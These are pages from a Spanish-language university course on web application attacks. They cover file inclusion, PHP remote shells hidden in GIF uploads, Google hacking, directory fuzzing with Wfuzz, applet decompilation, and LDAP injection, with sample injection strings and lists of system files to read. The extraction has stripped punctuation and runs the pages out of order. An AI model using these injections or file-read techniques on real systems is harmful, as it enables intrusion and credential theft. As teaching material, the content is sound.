Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 35: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

